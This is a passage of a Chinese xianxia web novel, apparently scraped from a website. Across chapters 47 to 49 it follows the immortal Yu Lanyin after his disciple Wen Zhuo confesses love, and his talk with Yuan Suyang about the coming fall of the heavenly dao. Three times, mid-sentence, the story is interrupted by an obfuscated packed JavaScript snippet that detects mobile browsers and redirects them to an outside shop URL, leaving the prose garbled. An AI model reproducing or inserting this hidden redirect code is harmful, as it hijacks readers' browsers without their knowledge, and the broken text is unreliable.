“一一,你还小,我今只当你今晚胡言乱语。”玉阑音对此的反应极大,此刻看起来活像是害了重病,唇色都褪去了大半,“以后莫要再说。” 爱。 人总是容易分不清感动和爱。 何况温卓也就是一个屁大的孩子,哪能指望他事事明了? 本以为随着他长大,见得人多了,二者这模糊的界限也就逐渐能分得清了。 但如今看来却是愈演愈烈。 更何况,退一千步一万步,他一个不受待见的将死之人…… 谈什么爱呢?这不是糟蹋别人么? 温卓一届惊才风逸惨绿儿郎,如今虽年少,但凭借他的实力和天资,名噪云州之日指日可待。 玉阑音时常会想,大概只有名动天下宾客群集子孙满堂,才能与他的这个好孩子般配。 可今天他这个孩子告诉他,我不光是个断袖,我喜欢的还是你,我的好师尊。 原本玉阑音提到离去,在世上最牵挂的就是温卓,如今这不是叫他更放心不下了吗! 玉阑音越想越觉得心慌,胸口都闷了起来,险些要断了气。 温卓见他神情不对,赶忙问道:“怎么了?身上是有哪里不舒服?” 不说则已,说了之后玉阑音只觉得要气得呕出血来。 他强颜欢笑:“如今你最该做的是管好你自己。” 语罢,不等温卓回应,玉阑音登即转了身拂袖离去。 他脚下步子倒腾地飞快,活像是身后有恶鬼在追,不一会儿就走出了温卓的视线。 这一夜,玉阑音和温卓不出所料地都没有入睡。 只是温卓是照例打坐,但玉阑音是纯睁眼到天亮。 第二天,元宿央见到罕见低气压的玉阑音,吓了一跳。 “苍天,”他吸一口气,“昨夜谁惹你不快了?一大早你这两眼睛红得像两颗油桃。” 玉阑音揉了揉眉心,不愿多言。 一旁老神在在的温卓听了这话一蹙眉,当即便要上前查看。 玉阑音表情不太好地一把将他的手打开。 元宿央和秋风两人目睹了全过程。 两人各自琢磨一会儿,不约而同一对视,挤眉弄眼暗度陈仓地沟通起来。 -这俩人怎么了? -我不知道啊。 -看着像闹别扭了。 -大概是了。 -你去问问。 -你怎么不自己去? 元宿央兀自讨了个不痛快,瘪嘴转开了头。 随后他上下打量了一番温卓,心中颇有些敬佩。 要知道玉阑音这人脾气好得简直像个假人,能叫他气成这样,那这温卓也定是有些本事傍身。 颇有本事的温卓本人此时正地站在玉阑音身边。 他看起来十分从容,仿佛刚才被拂了手去的人不是他。 接下来的一连几天,两人之间一直维持着这么微妙的气氛,搞得元宿央好奇得心痒痒。 这天刚入夜,他终于抓着一把葵花籽敲响了玉阑音的屋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14130141|146057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 门。 他敲得有点偷鸡摸狗,鬼鬼祟祟四下看看,然后用手作成喇叭顶着门低声唤道:“太嵇,是我。” “嗯,”玉阑音的声音传过黄梨木门有些发闷,“进来。” 玉阑音的屋里被温卓收拾得颇为雍容华贵。 浅色流苏锦绣纱帐,木床之上的各种软垫累起来将近一拳厚,最上一层是灰白杂色长兔毛垫。 木桌之上纸墨笔砚一样不缺,一套蓝色冰裂纹瓷器茶具,还捎带脚了几个憨态可掬的小茶宠。 元宿央进了屋四下打量一番,艳羡到有些嫉妒,“你可真行,我们睡木板,你在这里享清福。” 玉阑音此时已经上了床,大散着头发,带着一副叆叇眯着眼睛在光下看着一卷竹简。 闻言,他抬头淡然道:“多谢夸奖。” “谁夸你了,”元宿央冷哼一声,“两锭金子,你这屋子给我住一天。” 玉阑音不愿理会这人,重新垂下眼睛道:“四锭金子,你给我滚。” 元宿央撇撇嘴,“不过太嵇啊,你这眼睛是怎么回事?不舒服?” 玉阑音头也不抬,“被你害了眼疾,看见你就眼疼。” “八锭金子,你也给我滚。”元宿央冷笑道。 玉阑音瞥他一眼,“一言为定。” 当即就要起身麻利地卷铺盖走人。 元宿央翻着白眼把他按下,“去去去,就知道打诨。” 玉阑音从善如流重新躺下,鼻腔中轻蔑一笑,“彼此彼此。” “你看看你,这两天说话这么呛人,嘴和淬了毒似的,你以前可从不这样。”元宿央自然而然落座,掏出了他那一把瓜子,“说说吧,那臭小子怎么惹着你了?我去给你撑腰去。” 玉阑音听着元宿央“刻刻刻”嗑瓜子的动静,头都大了一圈。 这时,门忽然被不知什么人叩了三声。 元宿央看到玉阑音的脸色当即就臭了下来。 “阑音,是我。”门外传来了熟悉的声音,正是温卓。 玉阑音脸色如丧考妣,回道:“不在。” 只听见门外温卓淡淡一句:“哦。” 然后十分自然地推门而入。 元宿央:“……” 请问你们二位这是什么新型的玩闹方式么。 温卓一进来,便见到了眼巴巴凑在玉阑音面前的元宿央。 他微不可察地皱了皱眉,未行礼,甚至是居高临下地道:“少掌门夜里无事,来此处做甚。” 元宿央原本没什么火气的,听见温卓这么找打的一句话,当即像个炮仗似的炸开了。 他扯扯嘴角,“你来做什么我就来做什么。管恁多。” 温卓眉头不松反紧,“你最好不是。” 语罢,他没再继续搭理气成个河豚的元宿央,直直走上前,在玉阑音难看的脸色下,直接伸手替他取下了叆叇,然后一把又把他的书卷夺走了。 温卓的语气不容拒绝,但是又不算强硬,“睡觉。” 玉阑音不说话,不接受,不拒绝,拉着一副死人脸,由着温卓折腾。 元宿央看着面前这两人这一段无言的、甚至是单方面的互动,纵然是不太敏感的他也忽然觉得——这两个人,好像哪里有点不太对。 47.是夜 温卓来到玉阑音屋内,其实只是单纯来督促他睡觉。 可里里外外收拾一通后,温卓并没有着急离开。 他十分装模作样地在屋里转了两三圈,然后踱着步子,棒槌似的在元宿央身侧站定,不言语,只垂眼睨着元宿央。 在温卓“你什么时候滚我什么时候走”的目光下,元宿央手里那一把瓜子越嗑越不香。 元宿央忍无可忍,终于朝温卓翻了白眼:“你有病?” “没有,”温卓看起来极为有耐心,说话十分的温文尔雅,“晚辈只是想知道,少掌门何时回屋就寝?” 听到这人虚情假意的尊老爱幼,元宿央被气笑了。 他恶狠狠嗑了个瓜子,手指一曲,把那瓜子壳往温卓脸上弹去,“呵,干你屁事。” 温卓眼都没眨。 那瓜子壳还未近他身边似是碰到了什么灼热的壁障,当即化成了一缕青烟而去。 温卓像尊佛入了定似的,只站着,淡然谦逊地笑着,岿然不动。 元宿央兀自深呼吸了数次,自己圆承自己,哎呀我老大不小一介少掌门,何必同一届小辈斤斤计较。 把那心经在心里念几遍之后,他顿悟佛法空空,简直是要有皈依之势,这才慈祥地睁开眼睛。 元宿央转头向玉阑音,慈悲道:“太嵇,把这不肖子赶走。” ……这刚踏进佛门的脚看来是在门槛上一个磕绊,摔了个狗啃屎。 玉阑音看着这两人耍宝,冷笑连连。 他薄唇轻启,吐出的话如此无情,“元宿央,我再说最后一遍,滚。” 温卓听着玉阑音颇为中气十足的动静,欣慰一笑。 嗯,身体看起来还算不错。 玉阑音心中不爽快,听到温卓的嗤笑,一肚子火气立刻就调转了投向。 “笑什么笑?这辈子没笑过?”他眉头皱得能夹死苍蝇,“你也逃不了,你们两个手拉手,给我一起滚!” 温卓毫无被骂的自觉,心情极好地哼笑一声,老老实实抱拳,“遵命。” 元宿央扁着嘴慢吞吞站起身,假作伸懒腰,实则是不怕死地将一把瓜子皮往玉阑音脸上扔去,同时颇为响亮喝道一声,“急急如律令,去!你大爷的!” 急急如律令扑面而来的瓜子壳,天女散花似的落了一地。 玉阑音:“……” 元宿央在瓜子壳儿脱手的一瞬间,已经忙送不迭收回了手提起袍摆,撒丫子大跨步地往门外跑去。 玉阑音施施然将目光从一地狼藉上收回。 随即,他的手飞快一抬,做了一个抓握的动作。 刚逃到门边的元宿央像只狗崽子一样被提着后领子抓了回来。 元宿央在半空中惨白着脸,虚空蹬了蹬腿,见挣脱不了,只得换了一副面孔连连赔笑,“上仙大人,饶了小的一命吧。” 玉阑音连看都没看他一眼,反而是极为不耐地瞪了温卓一眼,“你看什么看?眼睛刚长出来的,这么着急用?还不走?” 又获此无妄之灾的温卓一低头,笑出了声,他极为自然地忽视了元宿央求饶的目光,款款一拱手,“弟子告退。” 玉阑音听到他这谦辞,胸口又是一阵发堵。 弟子弟子,嘴上说得倒是好听,你还知道自己是弟子呢? 择日不如撞日,今日就将你逐出师门! 温卓慢慢出了屋,十分贴心地掩上了门。 玉阑音这才终于施舍似的将目光转回了打了蔫的元宿央身上。 元宿央哼哼唧唧蹬着腿儿反抗:“你一介术修,这是为老不尊,这是欺负人!你有本事把我放在平地上,有本事让我的剑出鞘!保准打得你……” 下一秒,元宿央就全须全尾地落回到了地上。 元宿央:“……” 元宿央:“不是,太嵇,我说这话不是真要你放我下来的意思。” 玉阑音仿佛耳聋了一般,面无表情地看着他,“剑呢?怎么不出鞘?是要我再送你一把?” 元宿央连忙将他的本命剑出了鞘,然后赔着笑弓着腰,拿这剑尖扒拉着地上满地的瓜子残屑,狗腿子似的,“嘿嘿,上仙,剑在这儿呢,扫地呢,扫地呢。” 玉阑音看得闹心,扶额。 一边手上掐了个决,止住了元宿央滑稽的动作,蹙眉道:“出洋相。这昆山玉铁的剑,你这番可别是要损了它。” 元宿央借坡下驴抓紧把他的宝贝剑收起来。 又担心收得太麻利怪丢人,嘴上还不忘说些好听的,“我这剑还是上仙您赐的,为了上仙,虽折犹荣!” 玉阑音听得冷笑一声。 显然,话说得再好听也没用。 最终元宿央还是在玉阑音的威逼之下,不得不老老实实收拾瓜子壳儿去了。 他一边捡着遍地残骸,一遍腹诽这人简直是太恶劣!明明用个小法术就能清理干净,偏偏要来折腾他这十指不沾阳春水的、万金之躯的、尊贵无上的大少爷! 天理难容! 床榻上的玉阑音根本不理会这满眼冒火的元宿央,尽管已经发了一通邪火,但看起来还是有些不痛快。 他不知何时又捧回了书卷,正煞有介事地举着读得极为认真。 ……若不是发现这人压根没戴叆叇,连他都要被这模样给唬住了。 元宿央看着玉阑音魂不守舍的模样,心中暗爽。 他尽量善解人意,而不是落井下石地笑眯眯开口问道:“怎么了,太嵇?这两天有什么烦心事?说来叫我为你排忧解难一番啊。” 原以为玉阑音今日和炮仗似的,他这阴阳怪气的语气定是又少不了一顿讥讽。 但出乎他意料的,玉阑音似乎是思索了很久,叹了口气,居然真的不太情愿地低声开了口:“就那……二两子事儿。” “二两子事儿?”元宿央听得头皮发麻,“哪二两子事儿?是结界?结界出问题了?” 玉阑音蹙眉,这和结界有什么关系? 元宿央又问:“达奚恩山?是这小畜生又来闹你了?” 玉阑音更是不解,这都猜的哪跟哪? 元宿央:“十方宗?” 玉阑音睨他一眼。 元宿央:“札布萨?” 玉阑音又否决了。 一来二去猜不对,耐心终于耗尽了的元宿央当场小发雷霆,“神经!到底什么事你倒是直说啊!还‘那二两事儿’,和你有关的就这几件破事儿,我都猜尽了!你直说!快说!” 莫名其妙被反将一军挨了顿骂的玉阑音一怔忪。 元宿央冷哼一声,“若是别人这么说,我倒还能猜猜床上那档子花事,但是像你这种无趣的老古董,我可……” 忽然,他看着表情忽然有点高深莫测玉阑音,额角一跳。他的声音越来越小,最后悄悄地住了口。 元宿央:“……” 元宿央:“啊?” 他也顾不上那一地瓜子皮儿了,猛地一站起身,甚至还因为起得急了晕乎了一会儿,险些栽倒。 玉阑音正要扶他一扶,这人已经摇摇晃晃抓住了玉阑音的肩膀,大力摇了起来:“玉阑音?玉阑音!” 玉阑音看着这人眼冒金星的蠢样,叹了口气,正欲开口。 元宿央哪能让这人张嘴诡辩,连忙自己继续道:“你疯了吗?你这什么破身体你自己有没有数啊!哪家小贱蹄子把你勾引成这样?猴急什么!那上床的事儿,你碰着伤着,发个烧咱还活吗!别领回家!我第一个不同意!” 玉阑音越听越觉得污言秽语。 他皱了皱眉,“你在说哪门子荤话?我何时与人双修了?” 方才还像个喇叭似的元宿央当即就呆住了,眼神飘忽不定,缓缓地闭上了嘴。 整个屋子里忽然安静地不像话。 但是元宿央还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14152233|146057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是能听到一些声音。 元宿央细细去听,哦,原来是他即将圆寂的丧钟的声音。 元宿央自觉大限将至,半尴不尬逞强地咧了咧嘴,“哈哈,哎呀,我还以为……以为那什么呢。” 玉阑音无力地疲惫地闭上了眼。 被元宿央这么闹了一通,没能排忧解难不说,头倒是更疼了。 他揉揉自己的眉心,认命摆了摆手,“别收拾了,你还是走吧。” “哎哎哎,别,”元宿央护宝贝似的把瓜子壳儿一护,“我想收拾,让我再收拾会儿呗太嵇。” 他可是还没从玉阑音嘴里撬出个所以然,这叫他怎么舍得走! 玉阑音理都不理,手上掐了个小清洁术,遍地狼藉顷刻间焕然一新。 “招待不周,”他冷面冷语,“欲就寝,恕难远送。请自便。” 这赶人赶得。 元宿央翻了个白眼。 不过他是个脸皮厚不怕骂的,“吱啦啦”拖出了木椅子,自然地一落座。 元宿央眼睛滴溜溜转两圈,“那不是床上那事儿,还能是什么?太嵇,我的好太嵇,快和我说说吧,你的好弟弟急死了。” 玉阑音无言地捏了捏鼻梁。 手一放下,他今日始终紧绷的眉眼终于随之松懈下来,浮上一层极为明显的倦怠。 别看他嘴上说着就寝就寝,其实已经是接连好几天没睡个安稳的囫囵觉了。 一闭上眼睛就是温卓那死猪不怕开水烫的要人命的脸,那大不敬的鬼言鬼语,他捶胸顿足还来不及,哪还有心思睡觉? 窗外,月向西移。 苍白古老的月光越过窗棂,打亮一小片桌角,时不时有树影斑驳。 前路漫漫,天道昭昭,如何是个头。 沉默了很久,玉阑音终于放下竹简,轻轻往后一仰头,满面愁容。 他忽然没头没尾轻声问道:“宿央,天道何时陨落?” 元宿央方才那嬉笑的神情顷刻间收了个干干净净。 他皱了皱眉,“太嵇?” “很快了,是吧?”玉阑音不理他,一哂。 元宿央眉头蹙得很紧,曲指,用力敲了敲桌子。 后室客房的桌子用的是普通杨树木材,薄薄的,敲得极清脆极响。 他定睛看向玉阑音,语气沉沉,“玉阑音,好端端的,别说这种话犯晦气。” 玉阑音笑意盈盈看他一眼,一双眸子仿佛直直看到了元宿央眼睛的深处,“晓星夺不是在你手里?” 此言一出,元宿央的脸色当即一变。 玉阑音像是看顽劣的孩子一般,摇摇头轻笑一声,“你这些年总时不时去札布萨寻我,这段时间更是狗皮膏药似的赖在十方宗跟着我,未免也太明显。说吧,晓星夺指示的是何时?” 元宿央神情闪烁,嗫嚅着试图继续描:“我那真的是在躲我爹……” 玉阑音哼笑一声,但笑不语。 元宿央在玉阑音纵容的浅笑中败下阵来。 “三年,”元宿央的话轻得犹如叹息,“只还有……三年,太嵇。” “三年吗?”玉阑音又念了一遍,似乎是在心里计算了些什么,随后点点头,“嗯,还好。” “还好?”元宿央似乎是听到了什么笑话,他的眼睛通红一片,“太嵇,你可真知道天道陨落意味着什么?你……” 天道陨落,意味着星辰日月之道不复存在,云州万物相互制约的平衡倾颓,云州结界化为乌有。 意味着…… 意味着眼前这个为人世间献祭了自己一生的,此刻眉眼温润对着他笑的云州上仙,就要死了啊。 玉阑音久久未听到下文,抬眸朝元宿央看去,忽然愣了神。 “别哭。”他一顿,“宿央,别哭。” 元宿央猛然回神。 他伸手去摸,才发现,原来自己的脸上早已湿凉一片。 48.夜谈 玉阑音手指一拈,指尖灵力跳动,闪起一缕红黑色的细细光纹。 这光纹在空气中一流转,轻轻替元宿央将脸颊上的泪珠拭去。 “哭什么,看得我怪心疼。”玉阑音似是叹了口气。 元宿央这孩子,徽州一见后便总爱黏着玉阑音,时不时就要去虚空山流离所叨扰几日。 有时是切磋剑术,有时是斗棋,有时则只是喝茶讲经。 元宿央脾气又爆又急,这几年常装模作样背的心经便是在玉阑音这里听学来的。 有的时候闯了祸,元宿央不敢同他爹讲,便来哭天抢地地求玉阑音出马。 玉阑音这人耳根子软,压根用不着软磨硬泡,大善人似的跟在元宿央后边一个劲给他擦屁股。 对于元宿央来说,同玉阑音交为挚友都是斗胆了,此番说一句如兄如长都不为过。 而玉阑音又不是铁石心肠,自然也是一片真心相待。 元宿央颤抖着吸了吸气,摇头,“我没哭。” 玉阑音点点头,“嗯,没哭。” 元宿央别过头,吸了吸鼻子。 “你们一个两个的小孩子,怎么都如此谈死色变?”玉阑音笑道,“我如此做,便就是早就料想过有这么一天,不是么?” “况且,天道不崩,我可是想死都不能,某种程度上甚至还要算是天道宠儿呢不是?”玉阑音说着说着又是一笑,“别害怕。” 元宿央将哭不哭,抿抿唇,“今日为何要提起这件事?你过去……从不过问这些。” “嗯,过去不太在意这些。”玉阑音诚实道。 元宿央反问:“那如今是在意了?” “或许吧。”玉阑音又道。 窗外月复向西移,几乎照亮了整张桌面,映得茶具边缘淌出细碎的光。 “过去从来没有这种感觉,觉得……好像时间不够多。”过了许久,玉阑音轻轻叹了口气,又开了口,“我过去花费了大部分时间去等待死亡。但是现在不行了,时间越来越少,牵挂却越来越多。” 元宿央一时也顾不上难过了,幽幽插嘴道:“牵挂?有我么?” 玉阑音被逗得笑起来,“你说呢?我可还肩负着游说你回去做掌门的重任,拢虚那孩子快念叨死我了。” 元宿央哼唧两声,看起来很是受用,嘟嘟囔囔:“那我更不要去做掌门了,你就这么惦记我一辈子吧。” 玉阑音蹙了眉看他一眼。 元宿央老老实实闭了嘴。 不过这活宝闭嘴也只是一时的。 还没等话音落下,他已经又叭叭叭地开了口,声音听起来莫名幽怨:“不过,哎呀咱可不敢和温卓那小子比啊,说到惦记,你肯定是最操心那厌族小崽子了,咱这种普通人啊,哎呀这都得往后稍啊……” 提到了温卓,玉阑音的表情忽然又变得沉重起来。 他摆了摆手,连连叹了三口长气,打住了元宿央碎碎的念叨,“别提了,属他最费心。” 不过他很快自顾自地摇摇头,转开了话题,“宿央,我今日确有一事相问,不知可否一听?” 这话一出,元宿央当即掉了一身鸡皮疙瘩,“你怎么回事?你和我说话好多年不这么文绉了,怎么?疯了?” 玉阑音不理他,只愁容满面地又是摇摇头,“宿央,我平日是不是有做过一些……招人误会的事?” “嗯?误会?”相比较玉阑音的欲言又止,元宿央回答得很是利索,“做事总爱一声不吭,总爱给自己泼脏水,总爱用难听的话说自己,这种算不算?简直是罄竹难书啊,你。” 玉阑音一怔忪,想要打断他,“我何时……” 不过这话刚脱口而出,玉阑音略一皱眉便止了话口,似乎是并不愿意就此话题多言。 “不是,我不是说这种招误会,我说的是……”玉阑音沉吟片刻,“男女方面。” 元宿央还没絮叨完的话一下子就哽在了喉头。 他眨了眨眼,毫不犹豫地掏了掏耳朵。 “不好意思啊,太嵇,刚才我耳垢有点多,糊住了,没听清,你再说一遍。” 玉阑音揉了揉眉心,破罐子破摔,“我过去……同别人相处得太少,大概也不知何为适度。从你看来,我平日有没有做过什么出格的、引人误会的事情?我是说,和……温卓。” 玉阑音说这么长一段话,尾音里又带上了些中原南泽的口音,极为婉转,叫人听得很是如沐春风…… ……个屁啊! 元宿央越听越大惊失色,无言良久,最终只失魂落魄道:“你是说,那死孩子对你……” 玉阑音抿抿唇,只又伸出手揉了揉僵硬的眉心,没说话。 元宿央看得又是一阵惊撼。 “不是,这孩子这很是……”他兀自琢磨了一番用词,“……不鸣则已,一鸣惊人啊。” 玉阑音拧他一眼,“嗯?” “我只是觉得,当年达奚恩山疯成那样都没敢打你的主意,这温卓居然……”元宿央啧啧道,“有胆有识。嗯,有胆有识。” 这人站着说还不腰疼,玉阑音更是头痛,“大概情况就是这样,别在这里一叹三惋了,听得烦。” “哦,不过若是说到会不会招人误会……”元宿央生怕自己再说风凉话就要被赶走了,赶忙书接上回,“这我倒是真说不准,不过你人很好,又招人喜欢……” “……保不齐他就是纯粹看上你了呢,和你做了什么也没什么关系。” 正仰着头兀自出神的玉阑音忽然一僵硬。 元宿央不着痕迹扫了他一眼。 他收回目光,随后在一旁又自顾自摇头晃脑道:“而且,古话道,既来之,则安之。道家也有语,水善利万物而不争……” 这一通乱七八糟滑稽的经义,叫玉阑音那瞬时的猛烈当即就消散了。 他强忍着听了半晌,额角轻跳。 忍无可忍,他手上捏了一个气浪,终于把这人“砰”一声轰出了门。 元宿央螺旋着翻滚了好几圈,趴在了地上,摔了个狗啃屎。 可喜可贺。 “哎哟……这玉阑音,下手也忒不客气……” 元宿央哼哼唧唧捂着腰爬起来,往玉阑音住处方向瞪一眼,很是幽怨。 可刚往那处一看,元宿央忽然一愣,“嗯?” 只见玉阑音紧闭的门外一侧,窗棂旁,有一道黑鸦似的玄色身影。 这人在深夜里一头乌发依旧束得一丝不苟,身高八尺有余,乌黑长袍曳地,宽肩窄臀,分外挺拔。 是温卓。 也不知他究竟在这里站了多久,听了多少。 元宿央心下一紧,他略一思索方才他同玉阑音的谈话。 ……那是真的已经把该秃噜的不该秃噜的都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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元宿央很早就察觉到玉阑音这人近乎心病“严于律己,宽以待人”,他对待自己极为严苛,甚至是有了自虐的兆头。 前些年在札布萨相见,玉阑音更是一副一心求死的行将就木之相,吓得元宿央百忙之中厚着脸皮也要在札布萨住半月之久,回去之后挨了他爹好一顿骂。 元宿央原本以为,除了自己,大概再鲜少有人再能看到玉阑音躲躲藏藏、隐忍不发的鲜血淋漓。 只是…… 元宿央再度看向温卓。 温卓此时朝着玉阑音房门的方向。 他眉眼轻垂,温和平润。 或许是因为月色西斜,树影摇晃,氤氲雾气中,他的脸上忽然浮现出一种不为人道的沉静的悲伤。 谢谢。 谢谢你告诉他,“你很好,大家都喜欢你。” 谢谢你告诉他,他值得被爱。 谢谢你也是如此的爱他。 两人对视,视线一触即分。 心照不宣。 元宿央拍拍身上狼狈的一身灰土,在温卓面前站定。 “好吧,我勉强允许你喜欢他了。” 49.汀芷 闻言,温卓眯了眯眼,讥讽似的一笑,“哦。” 元宿央:“……” 他剑眉一竖,还以颜色:“劝你小子别给脸不要脸。” 温卓十分谦逊一抱拳。 元宿央觉得自己热脸贴冷屁股真是好贱,气了个半死。碍于夜太静,又实在是不好破口大骂。 他脸上青青白白一阵,最终生闷气似的“哗啦”甩了袖子,气冲冲就要转身走去。 这倒好,他方才刚在地上爬起来,一身的土,随着这一动作呼啦啦扬了个满天飞。 猝不及防被盖了一头灰的温卓,“……嚯。” 元宿央脚步一顿。 他磨着牙,转身“噌”一声亮了剑。 常言有语,伸手不打笑脸人。 温卓深蕴此道,在元宿央身后板板正正又行了一礼。 元宿央看得胸膛一阵气结,将剑入鞘扭头便走。 ……再待下去,他可能真的要忍不住动手杀人了。 温卓目送着气成个河豚的元宿央走远。 随后他动作很轻地走近玉阑音所住房间的窗户,侧耳听了一会儿。 没什么多余的声响。 只有屋内之人浅而平稳的呼吸声。 嗯,看来是已经歇下了。 温卓一动不动,不知是在想什么,又或是在听什么。 总之,他就这么在原地站了很久很久,久到连睫毛上都挂上了晨露。 晨露的水珠太重,温卓眼睫轻颤。 终于,他指尖一动掐了个决,一阵温热的灵气卷过,蒸散了他眉上、发梢挂着的水露。 飘起一丛遇风即散的雾。 他抬头看看东方隐约既白的天色,漆黑的眸底沉静如水。 往后又是几日,三人依旧小住后室。 白日游山玩水,夜里把酒言欢。好不自在。 直到几人终于自觉叨扰甚久,愧疚心起。 在这一年立夏日,一行人主动提出作别山清水秀的西南之地。 秋风这段时间忙得脚不沾地,平日的小聚都鲜少参与。 如今虽是作别之际,但仍旧是分身乏术,只好谴仙鹤代他一路相送。 白鹤再度展翅,送三个孤独的异乡人回了人间。 立了夏的中原,比起春天,绿意更加盎然。 南泽之地更是阳光大好,目光缩所见之处皆是一片生机勃勃。 只可惜某人的心情相当不生机勃勃。 “……太嵇啊,求求你了,就通融通融罢……” “不行。” “太嵇啊……我爹那臭脾气你也知道……” “不行。” “太嵇啊,我真的不想回去挨揍……” “闭嘴,否则揍你的就是我了。” 南泽老街一糖水铺子里,元宿央哀嚎阵阵。 温卓也不是什么活泼性子,自然不插嘴,只在一旁专心致志替玉阑音剥着龙眼。 玉阑音点了份白净净地杏仁豆腐,正捏着调羹有一搭没一搭地摆弄。 他这人举手投足都是矜贵万分,一份杏仁豆腐活生生吃出了玉盘珍羞的架势。 只是可惜杏仁味苦,玉阑音吃了两口觉得嘴里开始发了涩,也便不继续吃下去了。 他拿绸缎布帕擦了擦嘴,想也没想,十分自然地将未吃完的杏仁豆腐推到了温卓面前。 温卓剥龙眼的手一顿。 忽然恢复了神智的玉阑音同样一顿。 目睹了全过程的元宿央更是一顿。 呃……好像那什么“叫人误会”的事情,这为老不尊的玉太嵇……做得还真不少哈。 玉阑音眨眨眼,好整以暇又将那小碗没收了回来。 他假装无事发生,十分自然又镇定地将杏仁豆腐推给了元宿央,风轻云淡:“你多吃,吃了好少说话。” 温卓目光悄悄移到了元宿央身上,不着痕迹地眯了眯眼。 元宿央被盯得背后一阵发凉。 不过好在他不像某些人一样眼大无用。 他这人啊,有眼力见得厉害。 “哈哈。”元宿央摸了摸鼻子,尽量自然地灿烂一笑,“太嵇啊,我这人无功不受禄。而且我这里还有一份,不吃了哈,还是温卓吃吧。” 扔烫手山药似的,元宿央极为迅速地又把碗往温卓面前一推。 于是温卓安静地将杀人似的目光收了回来,继续安静地往玉阑音面前的小碟里剥龙眼。 元宿央暗中松一口气。 呼,飞来横祸,好险好险。 玉阑音佯装看不见,自顾自低着头吃龙眼。 温卓龙眼剥得不多,小碟子里满打满算只有八九个,玉阑音垂着头吃得认真,没一会儿就吃光了。 只剩下一小碟子龙眼核。 玉阑音意犹未尽地擦擦手,随后忽然像是呛了风似的咳了起来。 这几日也不知是不是因为西南地界住得太久,水汽又凉又重,玉阑音的身体有些遭不住,咳症隐隐又有冒头之势,有些反复。 温卓拍了拍玉阑音的背,替他顺气。 玉阑音不舒服时极为喜欢吃清口的凉爽东西,温卓对此自然是清楚。 不过他这人又相当地有原则地摇摇头,“不能多吃,上火。过会儿给你买些雪梨吃可好?” 玉阑音如今对温卓采取的是“假装看不见”战略。 他颇为自然地越过温卓,朝元宿央道:“吃好了?” 元宿央看一眼温卓,点头也不是,摇头也不是。 玉阑音点点头,说的话却极为磕碜,“嗯,吃好了就送你上路了。” 元宿央立刻把头摇得像拨浪鼓。 玉阑音笑盈盈看着他。 很难说是不是笑里藏刀。 不过很快,玉阑音的目光忽然就被门外进来的一人吸引了去。 来人穿着一袭现如今南泽最盛行的,文人式花青色曳地长袍,身上未有佩玉或者佩剑,束着的发英气十足。 只是这人极为贵气的衣装之上,顶着一张流年不吉、风雨兼程苦相的脸。 他脸颊清减,眼眶凹陷,眼下黑黢黢的一片就要垂到腮上。 最要命的是,这人看着……好生眼熟? 玉阑音经久不问世,虽然有似曾相识之感,但若是要对上号那可真是太为难他了。 他也不太纠结这些,只轻轻扫过一眼后,便十分礼貌地收回了目光。 不过修仙之人气场不凡,玉阑音三人又更是雍容华贵之相,进门之人略一打量屋内,很快就注意到了这三人。 显然,他也是一愣。 随后,似乎是做了一番思想建设,他终于迟疑地抬步向三人走来。 直到这人已经恭恭敬敬行了礼,唤了玉阑音一声“无上长老”之后,玉阑音仍旧是没有认出来人是谁。 不过幸好温卓还在身侧,看了一眼来人,低声提醒道:“君少暄。” 玉阑音看也不看温卓一眼,温温和和笑着同君少暄点头示意,“少暄。” “君少暄?”这名字有段时日没听到了,元宿央同样是记忆回笼,不由得好奇地打量了一番,“换了衣服我都没认出来。而且你这脸色怎么看起来有点……” 元宿央想了半天,愣是没能从脑子里翻出个立整像样的词儿。 反观君少暄。 他今日抽了风地进了这小糖水铺子,居然叫他遇到他单方面认定的死对头温卓,好生晦气,横竖都不太得劲。 而且,好巧不巧地,玉阑音居然也在此处。 他们药术的祖师爷,太嵇真人,玉阑音。 那可是只出现在史书之上寥寥几字的,传说的神秘人物,问谁敢想这老祖居然还在世?而且是如此得年轻,如此得和煦,如此得……平易近人。 就试问,修习药术的修士,有哪个见了他不得对他五体投地的? 那日云霄大比和第二日上巳节玉阑音匆匆一现,整个十方宗连着好几天都像是炸开了锅,整个修仙界都知道了。 那段时间,十方宗弟子各个都恨不得把“我见过太嵇真人”做成个玉牌挂在腰上再出门,别提多长脸面多气派。 不过这些人里,唯独除了君少暄。 因为他暂时只顾得上羞愧万分。 自从上次见到玉阑音之后,君少暄时常回忆起那天。 他总是边回想边懊恼,总是恨自己那天嘴真是贱,好端端地和温卓拌什么嘴?人家水火二灵根来就来了呗,你在那生得哪门子气? 玉阑音那么宝贝他的徒弟,若是因为这给他留下了什么不好的印象,那可如何是好? 他越想越觉得人生无望,只想要撞墙。 不过现在的君少暄暂时顾不上羞愧。 他如今正一门心思在玉阑音面前安静如鸡。 “许久未见,怎么如此憔悴了?”玉阑音笑着打量了一番君少暄,随后又伸手拖了张椅子,“先坐吧。” 君少暄机械地道了谢,板板正正落了 